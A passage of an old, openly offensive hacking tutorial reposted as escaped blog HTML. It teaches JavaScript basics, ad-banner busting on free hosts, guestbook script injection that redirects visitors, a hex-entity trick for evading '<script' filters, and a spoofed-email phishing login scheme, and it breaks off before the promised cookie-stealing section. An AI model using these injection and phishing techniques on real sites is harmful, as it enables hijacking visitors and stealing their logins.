injecting  javascript.  Or somehow write the html to the top or bottom.&lt;/div&gt;&lt;div class="articleFulltext"&gt; &lt;br /&gt;&lt;h5&gt;Intro&lt;/h5&gt;Javascript  is used as a client side scripting language, meaning that  your browser  is what interprets it.&amp;nbsp; It is used on webpages and is  secure (for the  most part) since it cannot touch any files on your hard  drive (besides  cookies).&amp;nbsp; It also cannot read/write any files on the  server.&amp;nbsp; Knowing  javascript can help you in both creating dynamic  webpages, meaning  webpages that change, and hacking.&amp;nbsp; First I will  start with the basic  javascript syntax, then I will list a few sites  where you can learn  more, and then I will list a few ways you can use  javascript to hack. &lt;br /&gt;There  are a few benifits of knowing javascript.&amp;nbsp; For starters, it is  really  the only (fully supported) language that you can use on a  website making  it a very popular language on the net.&amp;nbsp; It is very easy  to learn and  shares common syntax with many other languages. And it is  completely  open source, if you find something you like done in  javascript you can  simply view the source of the page and figure out  how it's done.&amp;nbsp; The  reason I first got into javascript was because back  before I got into  hacking I wanted to make my own webpage.&amp;nbsp; I learned  HTML very quickly  and saw Dynamic HTML (DHTML) mentioned in a few  tutorials.&amp;nbsp; I then  ventured into the land of javascript making simple  scripts and usful  features to my site. &lt;br /&gt;It was only after I was pretty good with  javascript and got into  hacking that I slowly saw it's potential to be  used milisously.&amp;nbsp; Many  javascript techniques are pretty simple and  involve tricking the user  into doing something.&amp;nbsp; Almost pure social  engineering with a bit of  help from javascript.&amp;nbsp; After using simple  javascript tricks to fake  login pages for webbased email I thought about  other ways javascript  could be used to aid my hacking, I studied it on  and off for around a  year.&amp;nbsp; Some of these techniques are used by  millions of people, some I  came up with an are purely theorectical.&amp;nbsp; I  hope you will realize how  much javascript can aid a hacker. &lt;br /&gt;1. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#syntax" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#syntax"&gt;Basic Syntax &lt;/a&gt;&lt;br /&gt;2. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#advanced" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#advanced"&gt;Places To Learn More Advanced Javascript &lt;/a&gt;&lt;br /&gt;3. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#banner" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#banner"&gt;Banner Busting &amp;amp; Killing Frames &lt;/a&gt;&lt;br /&gt;4. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#filter" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#filter"&gt;Getting Past Scripts That Filter Javascript &lt;/a&gt;&lt;br /&gt;5. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#cookies" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#cookies"&gt;Stealing Cookies &lt;/a&gt;&lt;br /&gt;6. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#forms" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#forms"&gt;Stealing Forms &lt;/a&gt;&lt;br /&gt;7. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#info" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#info"&gt;Gaining Info On Users &lt;/a&gt;&lt;br /&gt;8. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#stories" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#stories"&gt;Stories Of Javascript Hacks &lt;/a&gt;&lt;br /&gt;9. &lt;a _fcksavedurl="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#conclusion" href="http://b0iler.eyeonsecurity.org/tutorials/javascript.htm#conclusion"&gt;Conclusion &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="6" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;The  basics of javascript are fairly easy if you have programmed  anything  before, although javascript is not java, if you know java you  should  have no problems learning it.&amp;nbsp; Same for any other programming  language,  as most share the same basics as javascript uses.&amp;nbsp; This  tutorial might  not be for the complete newbie.&amp;nbsp; I would like to be able  to do a  tutorial like that, but I don't have the time or patience to  write one.&amp;nbsp;  To begin if you don't know html you must learn it first!&lt;br /&gt;Javascript  starts with the tag &amp;lt;script language="javascript"&amp;gt;  and ends with  &amp;lt;/script&amp;gt;&amp;nbsp; Anything between these two tags is  interpreted as  javascript by the browser.&amp;nbsp; Remember this!&amp;nbsp; Cause a few  hacks use the  fact that if you use &amp;lt;script type="javascript"&amp;gt; and  don't finish  it all the html on the page underneath that is ignored.&amp;nbsp;  You can also  use &amp;lt;script type="text/javascript"&amp;gt; and  &amp;lt;&amp;lt;/script&amp;gt;..  either way is fine.&amp;nbsp; I would also like to mention  that many scripts have  &amp;lt;!-- right after the &amp;lt;script  type="text/javascript"&amp;gt; tag and  //--&amp;gt; right before the  &amp;lt;/script&amp;gt; tag, this is because they  would like to make it  compatible with other browsers that do not support  javascript.&amp;nbsp; Again,  either way is fine, but I will be using the &amp;lt;!--  and //--&amp;gt;  because that is how I learned to script and I got used to  putting it  in. &lt;br /&gt;Javascript uses the same basic elements as other  programming  languages.. Such as variables, flow control, and functions.&amp;nbsp;  The only  difference is that javascript is a lot more simplified, so  anyone with  some programming experience can learn javascript very  quickly.&amp;nbsp; The  hardest part of scripting javascript is to get it to work  in all  browsers.&amp;nbsp; I will now go over the basics of variables: &lt;br /&gt;to define a variable as a number you do: var name = 1; &lt;br /&gt;to define a variable as a string you do: var name = 'value'; &lt;br /&gt;A  variable is basically the same in all programming languages.&amp;nbsp; I might   also point out that javascript does not support pointers.&amp;nbsp; No structs  to  make your own variables either.&amp;nbsp; Only variable types are defined by   'var'.&amp;nbsp; This can be a hard thing to understand at first, but javascript   is much like C++ in how it handles variables and strings.&amp;nbsp; A string is  a  group of characters, like: 'word', which is a string.&amp;nbsp; When you see   something like document.write(something);&amp;nbsp; it will try to &lt;a _fcksavedurl="http://www.governmentsecurity.org/articles/HackingWithJavascript.php" href="http://www.governmentsecurity.org/articles/HackingWithJavascript.php"&gt;print&lt;/a&gt;   whatever is in the variable something.&amp;nbsp; If you do   document.write('something');&amp;nbsp; or document.write("something");&amp;nbsp; it will   print the string 'something'.&amp;nbsp; Now that you got the variables down lets   see how to use arithmetic operators.&amp;nbsp; This will make 2 variables and  add  them together to make a new word: &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var name = 'b0iler'; &lt;br /&gt;var adjective = 'owns'; &lt;br /&gt;document.write(name+adjective); &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;first  we define the variable 'name' as b0iler, then I define  'adjective' as  owns.&amp;nbsp; Then the document.write() function writes it to  the page as  'name'+'adjective' or b0ilerowns.&amp;nbsp; If we wanted a space we  could have  did document.write(name+' '+adjective); &lt;br /&gt;Escaping characters - This  is an important concept in programming, and  extremely important in  secure programming for other languages..  javascript doesn't really need  to worry about secure programming  practice since there is nothing that  can be gained on the server from  exploitting javascript.&amp;nbsp; So what is  "escaping"?&amp;nbsp; It is putting a \ in  front of certain characters, such as '  and ".&amp;nbsp; If we wanted to print  out: &lt;br /&gt;b0iler's website &lt;br /&gt;We couldn't do: &lt;br /&gt;document.write('b0iler's website'); &lt;br /&gt;because  the browser would read b0iler and see the ' then stop the  string.&amp;nbsp; We  need to add a \ before the ' so that the browser knows to  print ' and  not interpret it as the ending ' of the string.&amp;nbsp; So here is  how we could  print it: &lt;br /&gt;document.write('b0iler\'s website'); &lt;br /&gt;There are two  types of comments in javascript.&amp;nbsp; // which only lasts  till the end of  the line, and /* which goes as many as far as possible  until it reaches  */ I'll demonstrate: &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;document.write('this will show up'); // this will not, even document.write('blah'); won't &lt;br /&gt;/* document.write('this also will not show up'); &lt;br /&gt;this won't ether. document.write('or this'); &lt;br /&gt;it is all in the comments.. which aren't rendered by the browser */ &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;The  only thing that script will do is print "this will show up".&amp;nbsp;   Everything else is in comments which are not rendered as javascript by   the browser. &lt;br /&gt;Flow Control is basically changing what the program  does depending on  whether something is true or not.&amp;nbsp; Again, if you have  had any previous  programming experience this is old stuff.&amp;nbsp; You can do  this a few  different ways different ways.&amp;nbsp; The simplest is the  if-then-else  statements.&amp;nbsp; Here is an example: &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var name = 'b0iler'; &lt;br /&gt;if (name == 'b0iler'){ document.write('b0iler is a really cool guy!'); } &lt;br /&gt;else { document.write('b0iler can not define variables worth a hoot!'); } &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;Lets  break this down step by step.&amp;nbsp; First I create the variable 'name'  and  define it as b0iler.&amp;nbsp; Then I check if 'name' is equal to "b0iler"  if it  is then I write 'b0iler is a really cool guy!', else (if name  isn't  equal to b0iler) it prints 'b0iler can not define variables worth  a  hoot!'.&amp;nbsp; You will notice that I put { and } around the actions after  the  if and else statements.&amp;nbsp; You do this so that javascript knows how  much  to do when it is true.&amp;nbsp; When I say true think of it this way: &lt;br /&gt;if (name == 'b0iler') &lt;br /&gt;as &lt;br /&gt;if the variable name is equal to 'b0iler' &lt;br /&gt;if  the statement name == 'b0iler' is false (name does not equal  'b0iler')  then whatever is in the {} (curely brackets) is skipped. &lt;br /&gt;We now run into relational and equality operators.&amp;nbsp; The relational operators are as follows: &lt;br /&gt;&amp;gt; - Greater than, if the left is greater than the right the statement is true. &lt;br /&gt;&amp;lt; - Less than, if the left is lesser than the right the statement is true. &lt;br /&gt;&amp;gt;= - Greater than or equal to.&amp;nbsp; If the left is greater than or equal to the right it is true. &lt;br /&gt;&amp;lt;= - Less than or equal to.&amp;nbsp; If the left is lesser than or equal to the right it is true. &lt;br /&gt;So  lets run through a quick example of this, in this example the  variable  'lower' is set to 1 and the variable 'higher' is set to 10.&amp;nbsp;  If lower is  less than higher then we add 10 to lower, otherwise we  messed up  assigning the variables (or with the if statement). &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var lower = 1; &lt;br /&gt;var higher = 10; &lt;br /&gt;if (lower &amp;lt; higher) { lower = lower + 10; }&amp;nbsp;&amp;nbsp; //we could have used lower += lower; &lt;br /&gt;document.write('lower should be greater than higher.. or else I messed up."); &lt;br /&gt;document.write('lower:'+lower+' and higher:'+higher); &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;and  now the equality operators, you have already seen one of them in an   example: if (name == 'b0iler') the equality operators are == for  "equal  to" and != for "not equal to".&amp;nbsp; Make sure you always put two  equal signs  (==) because if you put only one (=) then it will not check  for  equality.&amp;nbsp; This is a common mistake that is often overlooked. &lt;br /&gt;Now we  will get into loops, loops continue the statements in between  the curly  brackets {} until they are no longer true. There are 2 main  types of  loops I will cover: while and for loops.&amp;nbsp; Here is an example  of a while  loop: &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var name = 'b0iler'; &lt;br /&gt;var namenumber = 1; &lt;br /&gt;while (namenumber &amp;lt; 5) { &lt;br /&gt;name = name + name;&amp;nbsp;&amp;nbsp; // could have used: name += name; &lt;br /&gt;document.write(name); &lt;br /&gt;namenumber = namenumber + 1; &lt;br /&gt;} &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;First  'name' is set to b0iler, then 'namenumber' is set to 1.&amp;nbsp; Here is  where  we hit the loop, it is a while loop. What happens is while  namenumber is  less than 5 it does the following 3 commands inside the  brackets {}:  name = name + name;&amp;nbsp;&amp;nbsp; document.write(name);&amp;nbsp;&amp;nbsp; namenumber =  namenumber +  1;&amp;nbsp;&amp;nbsp; The first statement doubles the length of 'name' by  adding itself  on to itself.&amp;nbsp; The second statement prints 'name'.&amp;nbsp; And  the third  statement increases 'namenumber' by 1.&amp;nbsp; So since&amp;nbsp;  'namenumber' goes up 1  each time through the loop, the loop will go  through 4 times.&amp;nbsp; After  the 4th time 'namenumber' will be 5, so the  statement namenumber &amp;lt; 5  will no longer be true. &lt;br /&gt;Let me quickly go over some short cuts to standard math operators, these shortcuts are: &lt;br /&gt;variable++;&amp;nbsp;&amp;nbsp; // adds 1 to variable. &lt;br /&gt;variable--;&amp;nbsp;&amp;nbsp; // subtracts 1 from variable. &lt;br /&gt;variable+= something;&amp;nbsp;&amp;nbsp; // adds something to variable.&amp;nbsp; Make sure to use 's if it is a string like: &lt;br /&gt;variable+= 'string'; &lt;br /&gt;variable-= 3;&amp;nbsp;&amp;nbsp; // subtracts 3 from variable &lt;br /&gt;variable*= 2;&amp;nbsp;&amp;nbsp; // multiples variable by 2. &lt;br /&gt;Next  loop is the for loop.&amp;nbsp; This loop is unique in that it (defines a   variable; then checks if a condition is true; and finally changes a   variable after each time through the loop).&amp;nbsp; For the example lets say   you want to do the same thing as above.&amp;nbsp; This is how you would do it   with a for loop: &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var name = 'b0iler'; &lt;br /&gt;for (var namenumber = 1; namenumber &amp;lt; 5; namenumber++) { &lt;br /&gt;name += name;&amp;nbsp;&amp;nbsp; // this is the same as before: name = name + name; &lt;br /&gt;document.write(name); &lt;br /&gt;} &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;First  the variable name is defined, then it starts the for loop.&amp;nbsp; It  assigns 1  to namenumber, then checks if namenumber is less than 5 every  time  through the loop, and it increases namenumber by 1 every time  through  the loop (variablename++ means increase the variable by 1).&amp;nbsp;  The next 2  lines are the same as with the while loop.&amp;nbsp; But since the  for loop  handles the declaration of namenumber and the increase every  time  through the loop it makes it simpler for the scripter and easier  to keep  track of for people trying to read the code.&amp;nbsp; You can use a  while loop  if you want, it is all up to the scripter's preference. &lt;br /&gt;Lets go over  that for loop one more time, just for clarity.&amp;nbsp; for (done  only the  first time; loop continues while this is true; done after  every time  through the loop) &lt;br /&gt;That's it for learning javascript, this was really  basic and pretty  much covered things that are constant in most  languages.&amp;nbsp; For  javascript specific guides check out the next section of  the tutorial.  This section was only to give the user enough info to  understand the  rest of the tutorial.&amp;nbsp; I wish I could go over more, but  there are way  better tutorials for advanced javascript then one I could  ever write.&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="5" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;I  will just provide a list of tutorials and sites with more advanced   javascript.&amp;nbsp; If you wish to learn javascript and be able to write your   own you will have to look at other people's scripts for examples and   read a few more tutorials.&amp;nbsp; I just went over the very basics so you   wouldn't be lost.&lt;br /&gt;&lt;a _fcksavedurl="http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/tutorial2.html" href="http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/tutorial2.html"&gt;http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/tutorial2.html &lt;/a&gt;- good examples, not really advanced.. prolly a medium level javascript tutorial. &lt;br /&gt;&lt;a _fcksavedurl="http://www.webdevelopersjournal.com/articles/jsevents2/jsevents2.html" href="http://www.webdevelopersjournal.com/articles/jsevents2/jsevents2.html"&gt;http://www.webdevelopersjournal.com/articles/jsevents2/jsevents2.html &lt;/a&gt;- A javascript tutorial on event handles. Fairly advanced. &lt;br /&gt;&lt;a _fcksavedurl="http://www.htmlguru.com/" href="http://www.htmlguru.com/"&gt;http://www.htmlguru.com &lt;/a&gt;- a classic site, go to the tutorials section and learn a lot of advanced javascript made easy. &lt;br /&gt;&lt;a _fcksavedurl="http://server1.wsabstract.com/javatutors/" href="http://server1.wsabstract.com/javatutors/"&gt;http://server1.wsabstract.com/javatutors &lt;/a&gt;- Goes over some specific aspects to advanced javascript work.&amp;nbsp; Useful in many situations. &lt;br /&gt;&lt;a _fcksavedurl="http://www.pageresource.com/jscript/index6.htm" href="http://www.pageresource.com/jscript/index6.htm"&gt;http://www.pageresource.com/jscript/index6.htm &lt;/a&gt;-   The advanced string handling and the forms tutorials are good, I would   suggest reading them if you wish to get more into javascripting. &lt;br /&gt;&lt;a _fcksavedurl="http://www.coolnerds.com/xrefs/xrefjsom.htm" href="http://www.coolnerds.com/xrefs/xrefjsom.htm"&gt;Coolnerd's Javascript Resource &lt;/a&gt;-   A nice list of al the javascript operators, statements, objects..   although it might be alittle old I still use it all the time. &lt;br /&gt;If you  want to create your own javascripts for yoursite be warned.&amp;nbsp;   Javascripts are very limited in power, but can be the solution to many   simple problems.&amp;nbsp; You will have to spend a few weeks learning more   advanced javascript in order to make anything really useful.&amp;nbsp; Creating   that awsome DHTML (Dynamic HTML) feels really good ;)&amp;nbsp; Dynamic HTML is   pretty much javascript that interacts with the user, css, and layers -   &amp;lt;div&amp;gt;, &amp;lt;span&amp;gt;, and &amp;lt;layer&amp;gt;. &lt;br /&gt;Here is some links to good dynamic html sites: &lt;br /&gt;&lt;a _fcksavedurl="http://www.dansteinman.com/dynduo/" href="http://www.dansteinman.com/dynduo/"&gt;The Dynamic Duo, Cross browser dynamic html tutorial &lt;/a&gt;- Goes over things step by step. &lt;br /&gt;&lt;a _fcksavedurl="http://hotwired.lycos.com/webmonkey/authoring/dynamic_html/tutorials/tutorial1.html" href="http://hotwired.lycos.com/webmonkey/authoring/dynamic_html/tutorials/tutorial1.html"&gt;Taylor's dynamic HTML tutorial &lt;/a&gt;- That nice webmonkey style that everyone loves. &lt;br /&gt;&lt;a _fcksavedurl="http://www.htmlguru.com/content/tutorials/templates/curious_eye.zip" href="http://www.htmlguru.com/content/tutorials/templates/curious_eye.zip"&gt;Curious Eye DHTML tutorial &lt;/a&gt;- This will really get you going making cross browser Dynamic HTML. &lt;br /&gt;&lt;a _fcksavedurl="http://www.wdvl.com/Authoring/DHTML/Intro/" href="http://www.wdvl.com/Authoring/DHTML/Intro/"&gt;Intro to DHTML &lt;/a&gt;- Might be nice if you aren't as html and javascript knowledgable as most DHTML beginners. &lt;br /&gt;Good luck with your adventure into javascript =)&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="4" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;I  call it banner busting, it is when you use javascript (or other  tags)  that aren't rendered by the browser the same as normal html tags  to get  around a popup or banner that free sites automatically put on  your  page.&amp;nbsp; The basic idea of this is to have a tag that isn't rendered  as  html right before the html the site adds on their banner so that  user's  browsers do not see the banner.&amp;nbsp; There is only really one key  thing you  need to find out in order to kill that banner. This is what  tag the site  uses as a "key".&amp;nbsp; What I mean by this is what tag does the  banner they  add come before or after?&amp;nbsp; Try putting up a page with  just:&lt;br /&gt;&amp;lt;html&amp;gt; &lt;br /&gt;&amp;lt;!-- blah --&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;lt;!-- blah --&amp;gt; &lt;br /&gt;text &lt;br /&gt;&amp;lt;!-- blah --&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt; &lt;br /&gt;&amp;lt;!-- blah --&amp;gt; &lt;br /&gt;&amp;lt;/html&amp;gt; &lt;br /&gt;now  upload that page and view it in a browser.&amp;nbsp; View the source of the  page  and find where the site added it's banner html.&amp;nbsp; If it came after  the  &amp;lt;html&amp;gt; and before the &amp;lt;body&amp;gt; then you need to see if it  came  before or after the &amp;lt;!-- blah --&amp;gt; which is in between  those.&amp;nbsp; If  it is before, then it is the &amp;lt;html&amp;gt; tag that is the  key tag which  the site adds it's banner after.&amp;nbsp; If it is under the  &amp;lt;!-- blah --&amp;gt;  than you know it puts it after the &amp;lt;body&amp;gt;  tag. &lt;br /&gt;So now that we  know where the site adds it's banner html what do we do  to stop it?&amp;nbsp; We  try to make a "fake" tag and hopefully the site adds  it's banner html  to the fake one instead.&amp;nbsp; Then we use javascript to  print the real one.&amp;nbsp;  We can do a few things, here is the list:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the basic  &amp;lt;noscript&amp;gt; - this used to work, as most banners  or popups start  with some javascript, but now free sites have gotten  smart and  automaticly add a &amp;lt;/noscript&amp;gt; to stop it. &lt;br /&gt;&amp;lt;noscript&amp;gt; &lt;br /&gt;&amp;lt;keytag&amp;gt;  -this keytag is the decoy. Before/after this tag is where the banner would be. &lt;br /&gt;&amp;lt;/noscript&amp;gt; &lt;br /&gt;&amp;lt;keytag&amp;gt;  -this keytag is the real one.&lt;/li&gt;&lt;li&gt;&amp;lt;script&amp;gt;  , &amp;lt;style&amp;gt; , &amp;lt;xml&amp;gt; - these are a few  examples of tags that  will make the add on html and javascript of the  site's banner not render  by the browser.&amp;nbsp; since it is not in the syntax  of css, xml or  javascript (it is html) user's browsers will just  ignore it. &lt;br /&gt;&amp;lt;style&amp;gt; &lt;br /&gt;&amp;lt;keytag&amp;gt;  -this keytag is the decoy. Before/after this tag is where the banner would be. &lt;br /&gt;&amp;lt;/style&amp;gt; &lt;br /&gt;&amp;lt;keytag&amp;gt;  -this keytag is the real one.&lt;/li&gt;&lt;li&gt;printing  tags with javascript - this one was thought up by  acecww and works  really well, if you are having problems when you put  the real keytag  then try using javascript so the site doesn't even see  it as the  keytag.&amp;nbsp; you get javascript to print the tags one letter at a  time. &lt;br /&gt;&amp;lt;script type="javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;document.write('&amp;lt;'+'k'+'e'+'y'+'t'+'a'+'g'+'&amp;gt;'); &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;style&amp;gt; &lt;br /&gt;&amp;lt;keytag&amp;gt;  -this keytag is the decoy. Before/after this tag is where the banner would be. &lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If  all worked out you should have a page with no annoying popups or   flashing banners.&amp;nbsp; If not I guess you will have to play around a little   and figure it out for yourself.&amp;nbsp; Since every free host uses different   keytags and methods of adding it's banner I can't go over them all one   by one. &lt;br /&gt;I decided to go over a real example of a free site that add  popup ads  or banners to every page you have.&amp;nbsp; I'll be using angelfire  since I  hate them and because that's the one I picked out of my lucky  hat.&amp;nbsp;  Just remember that sites can change the way they add banners  anytime  they feel like, so this method might not work the same way as I  am  showing.&amp;nbsp; Doing this also breaks the TOS (Terms Of Service) with your   host, so you might get your site taken down without any warning.&amp;nbsp;   Always have complete backups of your site on your harddrive, espechially   if you have a hacking site or are breaking the TOS. &lt;br /&gt;angelfire &lt;br /&gt;------------------------ &lt;br /&gt;begin &lt;br /&gt;------------------------ &lt;br /&gt;&amp;lt;html&amp;gt; &lt;br /&gt;&amp;lt;head&amp;gt; &lt;br /&gt;&amp;lt;title&amp;gt;testing&amp;lt;/title&amp;gt; &lt;br /&gt;&amp;lt;/head&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;lt;!-- Beginning of Angelfire Ad Code Insertion --&amp;gt; &lt;br /&gt;&amp;lt;/noscript&amp;gt; &lt;br /&gt;&amp;lt;script language="JavaScript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;(this is where the angelfire ad script would be.) &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;!-- End of Angelfire Ad Code Insertion --&amp;gt; &lt;br /&gt;&amp;lt;p&amp;gt; rest of test page&amp;lt;/p&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt; &lt;br /&gt;&amp;lt;/html&amp;gt; &lt;br /&gt;------------------------ &lt;br /&gt;end &lt;br /&gt;------------------------ &lt;br /&gt;as  you can see angelfire puts their ad right after the &amp;lt;body&amp;gt;  tag.&amp;nbsp;  All they are using to protect us from getting rid of the ad is a   &amp;lt;/noscript&amp;gt; so.. we can put something like this to defeat the ad:  &lt;br /&gt;&amp;lt;style&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;lt;/style&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;So  angelfire's server will add the javascript for thier advertisment  after  the first &amp;lt;body&amp;gt; they see.&amp;nbsp; That will put the ad after   &amp;lt;style&amp;gt;&amp;lt;body&amp;gt; and before &amp;lt;/style&amp;gt;.&amp;nbsp; This means that   user's browsers will think that &amp;lt;body&amp;gt; and the angelfires ad is   css (cascading style sheet).. which is the &amp;lt;style&amp;gt; tag.&amp;nbsp; Since   javascript and html cannot be in css the browser ignores it.&amp;nbsp; We then   put the real &amp;lt;body&amp;gt; after this and continue with our site. &lt;br /&gt;About  a month after I wrote this I came up with an idea of how to  complete  remove the advertisments sites put on your pages.&amp;nbsp; I am not  100% sure it  will work, but the basic idea is to have a cgi script open  all the  .html pages in your directory, remove the ad, and write the  html back to  the .html files.&amp;nbsp; Few things might affect how well this  works.&amp;nbsp; First  if the script that adds the ad to the .html files is a  cron job, but I  doubt this, since it would put heavy strain on the  system to search and  write to all those files.&amp;nbsp; Second, the script  might be ran whenever a  .html file is editted, I am hoping that it is  only ran when a file is  created or a file is uploaded.&amp;nbsp; I'll test this  out someday, if you want  this script come bother me on irc about it and  I might finish it =) &lt;br /&gt;Killing Frames &lt;br /&gt;Now  I'll go over how to kill frames.&amp;nbsp; The reason you would need this  script  is to hack namezero, nbci, and other companies which put your  page in a  frame.&amp;nbsp; Killing a frame means to get rid of it so that your  site is the  one filling the whole window. &lt;br /&gt;There is one solid way which has  always worked for doing this.&amp;nbsp; Not  only will it bust out of companies  frames.. But if some lamer is  leeching your site by using frames this  will stop them.&amp;nbsp; The script is  as follows: &lt;br /&gt;&amp;lt;script type="javascript"&amp;gt; &lt;br /&gt;if (self != top) top.location.replace(self.location); &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;What  this script does is checks if the current page is not the top  (first)  frame, if it isn't then it puts itself as the top frame,  deleting the  other frame from the browser window.&amp;nbsp; Pretty handy trick  =)&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="3" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;Lets  say we are entering info to a guestbook.&amp;nbsp; This would be put on  the main  page of the guestbook. And whenever anyone visited that page  we want  them to be sent to &lt;a _fcksavedurl="http://www.lameindustries.org./" href="http://www.lameindustries.org./" title="http://www.lameindustries.org. "&gt;http://www.lameindustries.org. &lt;/a&gt; We would enter this in the guestbook:&lt;br /&gt;&amp;lt;script type="javascript"&amp;gt; &lt;br /&gt;document.location = &lt;a _fcksavedurl="http://www.lameindustries.org/;" href="http://www.lameindustries.org/;" title="http://www.lameindustries.org;"&gt;http://www.lameindustries.org;&lt;/a&gt; &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;Sometimes  when you want to use javascript there is some form of  filtering going  on that stops the &amp;lt;script&amp;gt; tag from being  rendered as usual. For  those of you who know perl I will demonstrate. &lt;br /&gt;[Line from a perl script that filters input for the &amp;lt;script&amp;gt; tag] &lt;br /&gt;$input = s/&amp;lt;script/&amp;amp;lt;script/ig; &lt;br /&gt;$input  is what you submitted to the perl script, what it is doing is  looking  for &amp;lt;script in your input and replacing it with  &amp;amp;lt;script.&amp;nbsp; So  how do you get around this?&amp;nbsp; We can use the hex  value of any or all  characters in &amp;lt;script type="javascript"&amp;gt;&amp;nbsp; the  only characters you  cannot do this for are the &amp;lt; and the &amp;gt;  because they would not be  rendered by the browser if you did. So now we  enter something like this  into the guestbook: &lt;br /&gt;&amp;lt;&amp;amp;#115;cript type="javascript"&amp;gt; &lt;br /&gt;document.location = &lt;a _fcksavedurl="http://www.lameindustries.org/;" href="http://www.lameindustries.org/;" title="http://www.lameindustries.org;"&gt;http://www.lameindustries.org;&lt;/a&gt; &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;How  did I know what the hex value of 's' was?&amp;nbsp; I just checked an ascii   chart and added &amp;amp; before it and ; after it.&amp;nbsp; You can use this in  the  url of your browser as well, just put % before the number.&amp;nbsp; A chart   ascii chart is available at &lt;a _fcksavedurl="http://www.lameindustries.org/tutorials/tutorials/wtf_is_hex.shtml" href="http://www.lameindustries.org/tutorials/tutorials/wtf_is_hex.shtml"&gt;www.lameindustries.org/tutorials/tutorials/wtf_is_hex.shtml &lt;/a&gt;or man ascii if you run *nix. &lt;br /&gt;There  are a few other situations where javascript can be useful.&amp;nbsp; If  you can  get around the filter on a users email you can use your  spoofing email  skills to send an email from someone they trust.&amp;nbsp; If  they open it you  can have the email redirect them to a page which says  something like  "session timed out, please login in again" and have that  form submitted  to a cgi script that logs it.&amp;nbsp; This works for a small  percentage of  people, but it is worth a shot sometimes. &lt;br /&gt;Getting by javascript  filters can lead to you getting cookies for such  things as forums,  shopping carts, sites, and redirecting users to the  site of your  